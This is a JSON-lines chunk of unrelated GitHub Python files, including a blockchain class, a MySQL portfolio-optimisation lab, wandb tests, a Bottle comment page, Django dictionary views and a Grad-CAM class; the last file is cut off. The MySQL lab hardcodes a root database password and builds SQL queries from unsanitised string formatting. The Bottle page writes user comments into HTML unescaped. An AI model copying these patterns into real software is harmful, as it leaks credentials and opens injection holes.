Blockchain()\n blockchain.chain = []\n\n for data_block in data_chain:\n block = Block.from_dict(data_block)\n blockchain.chain.append(block)\n\n return blockchain\n\n def make_json(self):\n chain_data = []\n\n for block in self.chain:\n chain_data.append(block.__dict__)\n \n return chain_data\n\n @staticmethod\n def proof_of_work(block):\n difficult = block.difficult\n block.nonce = 0\n\n hash = block.compute_hash()\n\n while not hash.startswith('0'*difficult):\n block.nonce += 1\n hash = block.compute_hash()\n\n return hash\n\n def get_last_block(self):\n return self.chain[-1]\n\n @staticmethod\n def is_valid_block(block, previous_block):\n difficult = block.difficult\n\n if block.index - previous_block.index != 1:\n print(\"index error\")\n return False\n elif previous_block.compute_hash() != block.previous_hash:\n print(\"chain error\")\n return False\n elif not block.compute_hash().startswith('0'*difficult):\n print(\"invalid proof of work\")\n return False\n elif block.timestamp <= previous_block.timestamp:\n # print(block.block_header.timestamp)\n # print(previous_block.block_header.timestamp)\n print(\"cannot chain 2 block same time\")\n return False\n\n return True\n\n def add_block(self, block):\n previous_block = self.get_last_block()\n\n if self.is_valid_block(block, previous_block):\n self.chain.append(block)\n return True\n else:\n return False\n\n def is_valid_chain(self):\n \"\"\"\n Check if given blockchain is valid\n \"\"\"\n previous_block = self.chain[0]\n current_index = 1\n\n while current_index < len(self.chain):\n\n block = self.chain[current_index]\n\n if not self.is_valid_block(block, previous_block):\n return False\n\n previous_block = block\n current_index += 1\n\n return True\n","repo_name":"ManHieu/simple_blockchain","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37795897766","text":"\"\"\"\nCourse: CS-3860\nAuthor: Nigel Nelson\nLab: 5\nDate: 10/18/21\n\"\"\"\nimport mysql.connector\nimport numpy as np\nimport itertools as iter\n\n\ndef simulation(cursor, ticker_allocations):\n \"\"\"\n Simulates the results of the stock market if certain\n allocations are granted to specified stock ticker names\n :param cursor: SQLCursor instance\n :param ticker_allocations: Dictionary where the key is the ticker, and the\n value is the allocation of the portfolio out of 1.0\n :return: std, avg, sharpe ration, overall_return\n \"\"\"\n allocation_sum = 0\n for key, value in ticker_allocations.items():\n if(value < 0):\n raise ValueError(\"Allocation must be greater than 0\")\n allocation_sum += value\n if allocation_sum != 1:\n raise ValueError(\"Portfolio allocations must sum to be equal to 1\")\n update_values(cursor, ticker_allocations)\n cumulative_portfolio_return(cursor)\n return calculate_sharpe(cursor)\n\n\ndef update_values(cursor, ticker_allocations):\n \"\"\"\n Updates the values of given stocks in the connected database\n :param cursor: SQLCursor instance\n :param ticker_allocations: Dictionary where the key is the ticker, and the\n value is the allocation of the portfolio out of 1.0\n :return: N/A\n \"\"\"\n for key, value in ticker_allocations.items():\n query = f\"Update portfolio set {key}_value = {value}*{key}_cumulative_return;\"\n cursor.execute(query)\n\n port_value_query = f\"Update portfolio set portfolio_value = \"\n for key, value in ticker_allocations.items():\n port_value_query += f\"{key}_value +\"\n cursor.execute(port_value_query[:-1])\n\n\ndef calculate_sharpe(cursor):\n \"\"\"\n Calculates the standard deviation, average, overall return, and\n sharpe ration of the connected portfolio\n :param cursor: SQLCursor instance\n :return: std, avg, sharpe ration, overall_return\n \"\"\"\n cursor.execute(\"select portfolio_cumulative_return from portfolio\")\n cumulative_return = cursor.fetchall()\n cursor.execute(\"select spy_cumulative_return from portfolio\")\n spy_cumulative_return = cursor.fetchall()\n\n avg = np.average(cumulative_return)\n std = np.std(cumulative_return)\n sharpe_avg = np.average(np.array(cumulative_return) - np.array(spy_cumulative_return))\n sharpe_std = np.std(np.array(cumulative_return) - np.array(spy_cumulative_return))\n sharpe = ((len(cumulative_return)**(1/2)) * sharpe_avg) / sharpe_std\n overall_return = (cumulative_return[-1][0] - cumulative_return[0][0]) / cumulative_return[0][0]\n return std, avg, sharpe, overall_return\n\n\ndef cumulative_portfolio_return(cursor):\n \"\"\"\n Updates the connected portfolio's portfolio_cumulative_return attribute\n :param cursor: SQLCursor instance\n :return: N/A\n \"\"\"\n value_query = \"update portfolio set portfolio_cumulative_return = portfolio_value/1\"\n cursor.execute(value_query)\n\n\ndef optimization(cursor, ticker_names):\n \"\"\"\n Finds the allocations out of 1 for the provided ticker_names that\n results in the highest Sharpe ratio\n :param cursor: SQLCursor instance\n :param ticker_names: List of ticker names\n :return: Dictionary with highest Sharpe Ratio where the key is the ticker,\n and the value is the allocation of the portfolio out of 1.0 as well as a\n list of the resulting std, avg, sharpe ration, and overall_return\n \"\"\"\n combinations = np.array(list(iter.product(range(0, 11), repeat=4)))/10\n mask = np.sum(combinations, axis=1) == 1\n combinations = combinations[mask]\n\n max_sharpe = 0\n ticker_allocations = {}\n best_allocations = {}\n\n for comb in combinations:\n for i in range(0, 4):\n ticker_allocations[ticker_names[i]] = comb[i]\n results = simulation(cursor, ticker_allocations)\n if results[2] > max_sharpe:\n max_sharpe = results[2]\n best_allocations = ticker_allocations.copy()\n\n return best_allocations, simulation(cursor, best_allocations)\n\n\ndef main():\n connect = mysql.connector.connect(host=\"localhost\", user=\"root\", password=\"Frohfosho01)\",\n database=\"data_analytics_2020\", autocommit=True)\n cursor = connect.cursor()\n\n ticker_allocations = {\n \"goog\": 0.0,\n \"celg\": 0.9,\n \"nvda\": 0.1,\n \"fb\": 0.0\n }\n\n results = simulation(cursor, ticker_allocations)\n print(\"Weights used: \" + str(ticker_allocations))\n print(\"Daily Returns Standard Deviation: \" + str(results[0]))\n print(\"Daily Returns Average: \" + str(results[1]))\n print(\"Sharpe Ratio: \" + str(results[2]))\n print(\"Overall Return: \" + str(results[3]))\n\n results = optimization(cursor, [\"goog\", \"celg\", \"nvda\", \"fb\"])\n print(\"Weights used: \" + str(results[0]))\n print(\"Daily Returns Standard Deviation: \" + str(results[1][0]))\n print(\"Daily Returns Average: \" + str(results[1][1]))\n print(\"Sharpe Ratio: \" + str(results[1][2]))\n print(\"Overall Return: \" + str(results[1][3]))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"NigelNelson/DataBase_Systems","sub_path":"Lab5/lab5.py","file_name":"lab5.py","file_ext":"py","file_size_in_byte":5038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25549048558","text":"\"\"\"\nsummary test.\n\"\"\"\n\nimport pytest # type: ignore\n\nfrom wandb import wandb_sdk\nfrom wandb.interface.summary_record import SummaryRecord\n\n# if TYPE_CHECKING:\n# import typing as t\n\n\nclass MockCallback(object):\n # current_dict: t.Dict\n # summary_record: t.Optional[SummaryRecord]\n\n # def __init__(self, current_dict: t.Dict):\n def __init__(self, current_dict):\n self.reset(current_dict)\n\n # def reset(self, current_dict: t.Dict):\n def reset(self, current_dict):\n self.summary_record = None\n self.current_dict = current_dict\n\n # def update_callback(self, summary_record: SummaryRecord):\n def update_callback(self, summary_record):\n self.summary_record = summary_record\n\n def get_current_summary_callback(self):\n return self.current_dict\n\n # def check_updates(self, key: t.Tuple[str], value: t.Any):\n def check_updates(self, key, value):\n assert self.summary_record is not None\n\n for item in self.summary_record.update:\n print(\"item\", item.key, item.value)\n if item.key == key and item.value == value:\n return self\n\n assert False\n\n # def check_removes(self, key: t.Tuple[str]):\n def check_removes(self, key):\n assert self.summary_record is not None\n\n for item in self.summary_record.remove:\n if item.key == key:\n return self\n\n assert False\n\n\n# def create_summary_and_mock(current_dict: t.Dict):\ndef create_summary_and_mock(current_dict):\n m = MockCallback(current_dict)\n s = wandb_sdk.Summary(m.get_current_summary_callback,)\n s._set_update_callback(m.update_callback,)\n\n return s, m\n\n\ndef test_attrib_get():\n s, _ = create_summary_and_mock({\"this\": 2})\n assert s.this == 2\n\n\ndef test_item_get():\n s, _ = create_summary_and_mock({\"this\": 2})\n assert s[\"this\"] == 2\n\n\ndef test_cb_attrib():\n s, m = create_summary_and_mock({})\n s.this = 2\n m.check_updates((\"this\",), 2)\n\n\ndef test_cb_item():\n s, m = create_summary_and_mock({})\n s[\"this\"] = 2\n m.check_updates((\"this\",), 2)\n\n\ndef test_cb_update():\n s, m = create_summary_and_mock({})\n s.update(dict(this=1, that=2))\n m.check_updates((\"this\",), 1)\n m.check_updates((\"that\",), 2)\n\n\ndef test_cb_item_nested():\n s, m = create_summary_and_mock({})\n s[\"this\"] = 2\n m.check_updates((\"this\",), 2)\n\n m.reset({})\n s[\"that\"] = dict(nest1=dict(nest2=4, nest2b=5))\n m.check_updates((\"that\",), dict(nest1=dict(nest2=4, nest2b=5)))\n\n m.reset({\"that\": {\"nest1\": {}}})\n s[\"that\"][\"nest1\"][\"nest2\"] = 3\n m.check_updates((\"that\", \"nest1\", \"nest2\"), 3)\n\n m.reset({\"that\": {}})\n s[\"that\"][\"nest1\"] = 8\n m.check_updates((\"that\", \"nest1\"), 8)\n\n m.reset({\"that\": {}})\n s[\"that\"][\"nest1a\"] = dict(nest2c=9)\n m.check_updates((\"that\", \"nest1a\"), dict(nest2c=9))\n\n\ndef test_cb_delete_item():\n s, m = create_summary_and_mock({\"this\": 3})\n del s[\"this\"]\n m.check_removes((\"this\",))\n\n m.reset({\"this\": {\"nest1\": 2}})\n del s[\"this\"][\"nest1\"]\n m.check_removes((\"this\", \"nest1\"))\n","repo_name":"wandb/client-ng","sub_path":"tests/wandb_summary_test.py","file_name":"wandb_summary_test.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"39154708221","text":"from bottle import route, run, default_app, debug,request\n\n\ndef htmlify(title, content):\n page = \"\"\"\n \n \n \"\"\" + title + \"\"\"\n \n \n \n \"\"\" + content + \"\"\"\n \n \"\"\"\n return page\n\n\ndef a3_index():\n return htmlify(\"My lovely website\", \"This is going to be an awesome website, when it is finished.\")\n\n\ndef website_index():\n return htmlify('My lovely homepage',\n \"\"\"\n \n \n

Click for my assignment 3.

\n \"\"\")\ncomments = [{'Username':'mahmut','comment' : 'Berbat bir sa','points' : '3'},{'Username':'mahmut','comment' : 'Berbat bir sa','points' : '7'}]\ndef home_page():\n html =\"\"\"\n

\n

\n Username:\n
\n \n \n
\n \n
\n \n
\n

\n
\n \"\"\"\n for person in comments:\n html += person['Username']\n html += person['comment']\n html += person['points']\n x=0\n for range in comments:\n x+=int(range['points'])\n html+=\"
\"+str(x)\n total = 0\n #for i in range (0,2):\n # total+=int(comments[i]['points'])\n # html+=\"
\"+str(total)\n return htmlify(\"home\",html)\n\ndef get_comment():\n users_name = str(request.GET.get('Username'))\n users_comment = str(request.GET.get('comment'))\n users_range = str(request.GET.get('points'))\n global comments\n comments+=[{'Username':users_name,'comment':users_comment,'points':users_range}]\n html = str(users_name)+str(users_comment)+str(users_range)\n return htmlify(\"comment\",html)\n\n\nroute('/home/news/results','GET',get_comment)\nroute('/home/news','GET',home_page)\nroute('/home/','GET', a3_index)\nroute('/', 'GET', website_index)\n\ndebug(True)\napplication = default_app()\nif __name__ == \"__main__\":\n run()","repo_name":"nurdi21/assignment","sub_path":"bottle_app.py","file_name":"bottle_app.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3556848645","text":"from math import pow, sqrt, pi, e\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\n\ndef aprox2(i, n):\n p1 = ( B*(1-o) - (o/6)*(pow(o, 2) - 3*o + 2) )*U[i+1][n]\n p2 = ( B*(2 - 3*o) - (o/2)*(pow(o,2) - 2*o - 1) )*U[i][n]\n p3 = ( B*(1-3*o) - (o/2)*(pow(o, 2) - o - 2) )*U[i-1][n]\n p4 = ( B*o + (o/6)*(pow(o, 2) - 1) )*U[i-2][n]\n return U[i][n] + p1 - p2 + p3 + p4\n\n\ndef aprox1(i, n):\n p1 = a*( (U[i+1][n] - 2*U[i][n] + U[i-1][n])/pow(delta_x, 2) )\n p2 = u*( (U[i+1][n] - U[i-1][n])/2*delta_x )\n return delta_t*(p1 - p2) - U[i][n]\n\n\ndef f(x):\n sigma = 0.02\n mu = 0.3\n\n exp = -(1/2)*pow((x-mu)/sigma, 2)\n return pow(e, exp)/(sqrt(2*pi)*sigma)\n\n\ndef g(x):\n return x*(1-x)\n\n\ndef teste(i, j):\n return (U[i-1][j] - 2*U[i][j] + U[i+1][j])*delta_t/pow(delta_x, 2) + U[i][j]\n\nfig = plt.figure()\nax = plt.axes(projection='3d')\n\nn = 10\ndelta_x = 3.2\ndelta_t = 1\nx = [i*delta_x for i in range(n)] # valores de x\nt = [i*delta_t for i in range(n)] # valores de t\n\nu = 3 # velocidade\na = 5 # parametro de difusao\n\no = u*delta_t/delta_x\nB = a*delta_t/pow(delta_x, 2)\nPe = u*delta_x/(2*a)\n\ncourant = (u * delta_t) / (delta_x) #courant deve em teoria ser proximo de 1 pro bagulho ficar legal\npeclet = (courant/2)/(a * delta_t/delta_x**2)\n\nprint('courant:', courant)\nprint('peclet:', peclet)\n\nU = []\nfor _ in range(n):\n U.append([0]*n)\n\nfor i in range(n):\n U[-1][i] = 1\n\n\nfor Tj in range(n-1):\n for Xi in range(1, n-1):\n U[Xi][Tj+1] = aprox1(Xi, Tj)\n\nfor linha in U:\n for item in linha:\n print(round(item, 5), end=\" \")\n print()\nG = np.matrix(U)\nX, T = np.meshgrid(np.arange(G.shape[0]), np.arange(G.shape[1]))\n\nsurf = ax.plot_surface(X, T, G, cmap= 'coolwarm', linewidth=0, antialiased=True)\n#ax.set_zlim(0, 1)\nax.set_xlabel('delta_x')\nax.set_ylabel('delta_t')\nax.set_zlabel('delta_h')\nplt.show()\n","repo_name":"carlos1013/PC02","sub_path":"t2.py","file_name":"t2.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71273483073","text":"#coding: utf-8\n\n__author__ = 'Toshihiro Kamiya '\n__status__ = 'experimental'\n\nimport contextlib\nimport sys\nimport urllib2\n\nASCII_SYMBOLS_EXCEPT_FOR_PERCENT = \" \\t!\\\"#$&`()*+,-./:;<=>?@[\\\\]^_'{|}~\"\n\ndef readline_iter(filename):\n if filename != '-':\n with open(filename, \"rb\") as f:\n for L in f:\n L = L.decode('utf-8').rstrip().encode('utf-8')\n L = urllib2.quote(L, safe=ASCII_SYMBOLS_EXCEPT_FOR_PERCENT)\n yield L\n else:\n for L in sys.stdin:\n L = L.decode('utf-8').rstrip().encode('utf-8')\n L = urllib2.quote(L, safe=ASCII_SYMBOLS_EXCEPT_FOR_PERCENT)\n yield L\n\ndef sort_uniq(lst):\n lst.sort()\n if len(lst) <= 1:\n return lst\n\n dummy = None if lst[0] is not None else 1\n return [item for item, prev_item in zip(lst, [dummy] + lst) if item != prev_item]\n\n@contextlib.contextmanager\ndef auto_pop(lst):\n original_length = len(lst)\n yield\n lst[:] = lst[:original_length]\n","repo_name":"tos-kamiya/agec2","sub_path":"src/_utilities.py","file_name":"_utilities.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7723378889","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport json as simplejson\nimport sys\nimport logging\n\nfrom django.shortcuts import render_to_response, render, get_object_or_404, redirect\nfrom django.contrib import messages\nfrom django.template import RequestContext\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.urls import reverse\nfrom django.forms.models import model_to_dict\n\nfrom Database.forms import entryForm\nimport Database.constants\n\nfrom Database.models import Entry, Dictionary\n\nlogging.basicConfig(format='%(message)s')\n\n# Create your views here.\n\ndef index(request):\n return render(request, 'Database/index.html')\n\ndef entry_list2(request):\n file = request.FILES['myfile'] # this is my file\n contentOfFile = file.read()\n form = entryForm()\n entries = []\n\n try:\n #print(\"FILE:\", contentOfFile, file=sys.stderr)\n # print >> sys.stderr, \"FILE: \", contentOfFile\n logging.info('File: ', contentOfFile)\n data = simplejson.loads(contentOfFile)\n except ValueError:\n # messages.error(request, \"Something wrong with JSON format\")\n messages.warning(request, 'Wrong JSON format.')\n # return JsonResponse({'status': 'false', 'message': \"didnt parse a correct JSON file\"}, status=500)\n # return render(request, 'Database/index.html')\n return HttpResponseRedirect('/Database/')\n else:\n # contentOfFile.encode('utf-8')\n # print >> sys.stderr, \"data: \", data\n #d = Dictionary.objects.create(language=\"test\")\n #d.save()\n\n for item in data:\n #print >> sys.stderr, \"item: \", item\n logging.info('item: ', item)\n# print >> sys.stderr, item['word']\n e = Entry.objects.create(dictionary=d)\n\n for key in item:\n #print >> sys.stderr, key, \": \", item[key]\n logging.info('key: ', item[key])\n if (key == 'database'):\n d = Entry.objects.get_or_create(pk=item[key])\n e.__setattr__(key,d)\n else:\n e.__setattr__(key,item[key])\n e.get_HFW()\n e.save()\n\n #print >> sys.stderr, e.word\n logging.info( e.word)\n e.refresh_from_db()\n #print >> sys.stderr, e.get_entry()\n logging.info(e.get_entry())\n entries = Entry.objects.filter(dictionary__language='test')\n\n return render(request, 'Database/entry_list.html', {'file': file, 'entries': entries, 'form': form, 'id': d.pk})\n\ndef entry_list(request):\n file = request.FILES['myfile'] # this is my file\n contentOfFile = file.read()\n form = entryForm()\n entries = []\n created = 0\n created_total = 0\n\n try:\n print >> sys.stderr, \"FILE: \", contentOfFile\n data = simplejson.loads(contentOfFile)\n except ValueError:\n # messages.error(request, \"Something wrong with JSON format\")\n messages.warning(request, 'Wrong JSON format.')\n # return JsonResponse({'status': 'false', 'message': \"didnt parse a correct JSON file\"}, status=500)\n # return render(request, 'Database/index.html')\n return HttpResponseRedirect('/Database/')\n else:\n # contentOfFile.encode('utf-8')\n #print >> sys.stderr, \"data: \", data\n logging.info('data:',data)\n #d = Dictionary.objects.create(language=\"test\")\n #d.save()\n\n #print >> sys.stderr, \"first item: \", data[0]\n logging.info(\"first item: \", data[0])\n #print >> sys.stderr, \"first dictionary: \", data[0]['dictionary']\n #(d,created) = Dictionary.objects.get_or_create(id = data[0]['dictionary'])\n all_dicts = Dictionary.objects.all()\n for d in all_dicts:\n d.delete()\n\n d = Dictionary.objects.create()\n #print >> sys.stderr, \"dictionary name: \", d.language\n logging.info(\"dictionary name: \", d.language)\n #print >> sys.stderr, \"Needed to create a new dictionary?: \", created\n logging.info(\"Needed to create a new dictionary?: \", created)\n\n for item in data:\n # print >> sys.stderr, \"item: \", item\n logging.info(sys.stderr, \"item: \", item)\n #print >> sys.stderr, \"item.id: \", item['id']\n # (e,created) = Entry.objects.get_or_create(id = item['id'],dictionary=d)\n e = Entry.objects.create()\n e.dictionary=d\n e.__setattr__('word',item['Word'])\n e.__setattr__('gr',item['gr'])\n e.__setattr__('ph',item['ph'])\n e.__setattr__('CVC',item['CVC'])\n e.save()\n e.get_HFW()\n e.save()\n #print >> sys.stderr, \"created: \", created\n created_total += created\n\n #print >> sys.stderr, \"new entries created: \", created_total\n entries = Entry.objects.filter(dictionary=d.pk)\n #print >> sys.stderr, \"Entries: \", entries\n num_entries = len(entries)\n return render(request, 'Database/entry_list.html',\n {'file': file, 'entries': entries, 'form': form, 'd':d,'id': d.pk, 'num_entries': num_entries})\n\n\ndef post_list(request):\n d = Dictionary.objects.all().first()\n entries = Entry.objects.filter(dictionary=d)\n # e = entries.first()\n # d = Dictionary.objects.get(pk=e.dictionary.pk)\n num_entries = len(entries)\n\n return render(request, 'Database/post_list.html', {'entries': entries, 'd': d, 'id': d.pk, 'num_entries': num_entries})\n\n\n\ndef entry_HFWlist(request):\n d = Dictionary.objects.all().first()\n entries = Entry.objects.filter(dictionary=d, HFW=True)\n num_entries = len(entries)\n\n return render(request, 'Database/entry_HFWlist.html', {'entries': entries, 'd': d, 'id': d.pk, 'num_entries': num_entries})\n\n\ndef entry(request):\n data = {\"word\": \"John\",\"CVC\": \"CVC\",\"gr\": \"J oh n\",\"ph\": \"j O n\"}\n return render(request, 'Database/readit.html', {'file': file, 'data': data})\n# form = entryForm(request.POST or None, initial={'data': data})\n# if form.is_valid():\n # validate and save\n# pass\n\n# template = 'entry.html'\n# context = RequestContext(request, {'form': form})\n# return render_to_response(template, context)\n\n\ndef entry_new(request, pk):\n if request.method == \"POST\":\n form = entryForm(request.POST)\n if form.is_valid():\n entry = form.save(commit=False)\n entry.dictionary = Dictionary.objects.get(id=pk)\n entry.save()\n #print >> sys.stderr, \"saved word: \", entry.word\n return redirect('entry_detail', pk=entry.pk)\n else:\n form = entryForm()\n\n return render(request, 'Database/entry_edit.html', {'form': form})\n\n\n\n\n\n#cat unformatted.json | python -m json.tool > formatted.json\n#simplejson.dump(jin,fout)\n# fout.close()\n\n\n\n\ndef entry_detail(request, pk):\n form = entryForm()\n entry = Entry.objects.get(id=pk)\n return render(request, 'Database/entry_detail.html', {'form': form, 'entry': entry})\n\n\ndef readit(request):\n return None\n\ndef write(request):\n d = Dictionary.objects.all().first()\n # print >> sys.stderr, d\n entries = Entry.objects.filter(dictionary=d)\n # print >> sys.stderr, entries[0].pk\n jsonarray = []\n for e in entries:\n m = model_to_dict(e)\n #print >> sys.stderr, m\n jsonarray.append(m)\n\n #print >> sys.stderr, jsonarray, len(simplejson.dumps(jsonarray))\n\n response = HttpResponse(simplejson.dumps(jsonarray).decode('string_escape'), content_type='application/w')\n response['Content-Length'] = len(simplejson.dumps(jsonarray).decode('string_escape'))\n response['Content-Disposition'] = 'attachment; filename = dictionary.json'\n\n #print >> sys.stderr, response\n return response\n\ndef write2(request):\n d = Dictionary.objects.filter(language='test')\n #print >> sys.stderr, d\n entries = Entry.objects.filter(dictionary=d[0])\n #print >> sys.stderr, entries[0].pk\n jsonarray = []\n for e in entries:\n m = model_to_dict(e)\n #print >> sys.stderr, m\n jsonarray.append(simplejson.dumps(m))\n #print >> sys.stderr, jsonarray\n return render(request,'Database/write.html',{'jsonarray': jsonarray})\n\n\ndef entry_edit(request, pk):\n post = get_object_or_404(Entry, pk=pk)\n if request.method == \"POST\":\n form = entryForm(request.POST, instance=post)\n if form.is_valid():\n entry = form.save(commit=False)\n entry.save()\n return redirect('entry_detail', pk=entry.pk)\n else:\n form = entryForm(instance=post)\n return render(request, 'Database/entry_edit.html', {'form': form})\n","repo_name":"eebyak/CreateInput","sub_path":"Database/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71890747073","text":"import numpy as np\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import SimpleRNN, Dense\ntrain = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\nwindowSize, X_train, y_train = 3, [], []\nfor index in range(len(train)- windowSize):\n X_train.append(train[index:index+windowSize])\n y_train.append(train[index+windowSize])\nX_train, y_train = np.array(X_train), np.array(y_train)\nX_train = X_train.reshape(len(X_train), 3, 1)\nmodel = Sequential()\nmodel.add(SimpleRNN(20, input_shape=(3, 1), return_sequences=True))\nmodel.add(SimpleRNN(32, return_sequences=True))\nmodel.add(SimpleRNN(16))\nmodel.add(Dense(8, activation='tanh'))\nmodel.add(Dense(1, activation='linear'))\nmodel.compile(optimizer='adam',loss='mse', metrics=['mae'])\nmodel.fit(X_train, y_train, epochs=500)\nmse, mae = model.evaluate(X_train, y_train, verbose=1)\nprint('MSE: %.3f, RMSE: %.3f, MAE: %.3f' % (mse, np.sqrt(mse), mae))\nrow = np.array([[2, 3, 4]])\nrow1 = row.reshape(1, windowSize, 1)\nyhat = model.predict([row1])\nrow2 = np.asarray([2, 3, 4]).reshape((1, windowSize, 1))\nyhat = model.predict(row2)\nprint(yhat)","repo_name":"shilpavakkayil/machinelearning1","sub_path":"rnn2.py","file_name":"rnn2.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74359838915","text":"from threading import *\nfrom time import sleep\n\n\nclass Hello(Thread):\n\n def run(self):\n for i in range(5):\n print(\"Hello\")\n sleep(1)\n\n\nclass Bye(Thread):\n def run(self):\n for i in range(5):\n print(\"Bye\")\n sleep(1)\n\n\nt1 = Hello()\n\nt2 = Bye()\n\nt1.start()\nsleep(0.2)\nt2.start()\n\nt1.join()\nt2.join()\n\nprint(\"task complete\")\n","repo_name":"YOYOYASH/python-practice","sub_path":"multithreading.py","file_name":"multithreading.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16725289098","text":"import wandb\nfrom pytorch_lightning.loggers import WandbLogger\nfrom tqdm import tqdm\n\n\ndef create_logger(\n experiment_name, wandb_cfg=None, tensorboard_cfg=None, entire_cfg=None\n):\n assert (\n (wandb_cfg is None) + (tensorboard_cfg is None)\n ) == 1, \"Only one config should be specified.\"\n if wandb_cfg:\n print(f\"wandb name: {experiment_name}\")\n if \"project\" not in wandb_cfg:\n wandb_cfg[\"project\"] = \"modular-pytorch-lightning-extensions\"\n logger = WandbLogger(\n name=experiment_name,\n **wandb_cfg,\n )\n elif tensorboard_cfg:\n raise NotImplementedError()\n else:\n print(\"No logger is specified, returning `None`.\")\n return None\n # log hparams.\n if entire_cfg:\n logger.log_hyperparams(entire_cfg)\n return logger\n\n\ndef log_to_wandb(log, exp_name, group=None, project=None):\n \"\"\"\n log: list[float] or list[dict]\n \"\"\"\n wandb.init(\n name=exp_name,\n project=project,\n group=group,\n )\n\n def recurse_dict(d, key_record):\n if isinstance(d, dict):\n # recurse\n output = {}\n for k in d.keys():\n subdict = recurse_dict(d[k], f\"{key_record}/{k}\")\n output = {**output, **subdict}\n return output\n else:\n return {key_record[1:]: d}\n\n # log per-step metrics\n for step_log in tqdm(log):\n if type(step_log) == dict:\n step_log = recurse_dict(step_log, \"\")\n wandb.log(step_log)\n wandb.finish()\n","repo_name":"sieu-n/awesome-modular-pytorch-lightning","sub_path":"utils/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"61"} +{"seq_id":"26380522173","text":"# -*- coding: UTF-8 -*-\r\nimport torch\r\nfrom torchvision import models\r\nimport torch.nn as nn\r\nimport torchvision.transforms as tfs\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nimport cv2\r\n\r\n\r\nclass cal_cam(nn.Module):\r\n def __init__(self, feature_layer=\"layer4\"):\r\n super(cal_cam, self).__init__()\r\n # self.1 = models.resnet101(pretrained=False)\r\n path = 'model_0.7916666666666666.pth'\r\n self.model = torch.load(path)\r\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n # self.device = torch.device(\"cpu\")\r\n self.model.to(self.device)\r\n\r\n # 要求梯度的层\r\n self.feature_layer = feature_layer\r\n # 记录梯度\r\n self.gradient = []\r\n # 记录输出的特征图\r\n self.output = []\r\n self.means = [0.485, 0.456, 0.406]\r\n self.stds = [0.229, 0.224, 0.225]\r\n\r\n self.trainsform = tfs.Compose([\r\n tfs.ToTensor(),\r\n tfs.Normalize(self.means, self.stds)\r\n ])\r\n\r\n def save_grad(self, grad):\r\n self.gradient.append(grad)\r\n\r\n def get_grad(self):\r\n return self.gradient[-1].cpu().data\r\n\r\n def get_feature(self):\r\n return self.output[-1][0]\r\n\r\n def process_img(self, input):\r\n input = self.trainsform(input)\r\n input = input.unsqueeze(0)\r\n return input\r\n\r\n # 计算最后一个卷积层的梯度,输出梯度和最后一个卷积层的特征图\r\n def getGrad(self, input_):\r\n input_ = input_.to(self.device).requires_grad_(True)\r\n num = 1\r\n for name, module in self.model._modules.items():\r\n if (num == 1):\r\n input = module(input_)\r\n num = num + 1\r\n continue\r\n # 是待提取特征图的层\r\n if (name == self.feature_layer):\r\n input = module(input)\r\n input.register_hook(self.save_grad)\r\n self.output.append([input])\r\n # 马上要到全连接层了\r\n elif (name == \"avgpool\"):\r\n input = module(input)\r\n input = input.reshape(input.shape[0], -1)\r\n # 普通的层\r\n else:\r\n input = module(input)\r\n\r\n # 到这里input就是最后全连接层的输出了\r\n index = torch.max(input, dim=-1)[1]\r\n one_hot = torch.zeros((1, input.shape[-1]), dtype=torch.float32)\r\n one_hot[0][index] = 1\r\n confidenct = one_hot * input.cpu()\r\n confidenct = torch.sum(confidenct, dim=-1).requires_grad_(True)\r\n # print(confidenct)\r\n self.model.zero_grad()\r\n # 反向传播获取梯度\r\n confidenct.backward(retain_graph=True)\r\n # 获取特征图的梯度\r\n grad_val = self.get_grad()\r\n feature = self.get_feature()\r\n return grad_val, feature, input_.grad\r\n\r\n # 计算CAM\r\n def getCam(self, grad_val, feature):\r\n # 对特征图的每个通道进行全局池化\r\n alpha = torch.mean(grad_val, dim=(2, 3)).cpu()\r\n feature = feature.cpu()\r\n # 将池化后的结果和相应通道特征图相乘\r\n cam = torch.zeros((feature.shape[2], feature.shape[3]), dtype=torch.float32)\r\n for idx in range(alpha.shape[1]):\r\n cam = cam + alpha[0][idx] * feature[0][idx]\r\n # 进行ReLU操作\r\n cam = np.maximum(cam.detach().numpy(), 0)\r\n\r\n plt.imshow(cam)\r\n plt.colorbar()\r\n plt.savefig(\"cam.jpg\")\r\n\r\n # 将cam区域放大到输入图片大小\r\n cam_ = cv2.resize(cam, (224, 224))\r\n cam_ = cam_ - np.min(cam_)\r\n cam_ = cam_ / np.max(cam_)\r\n plt.imshow(cam_)\r\n plt.savefig(\"cam_.jpg\")\r\n cam = torch.from_numpy(cam)\r\n\r\n return cam, cam_\r\n\r\n def show_img(self, cam_, img):\r\n heatmap = 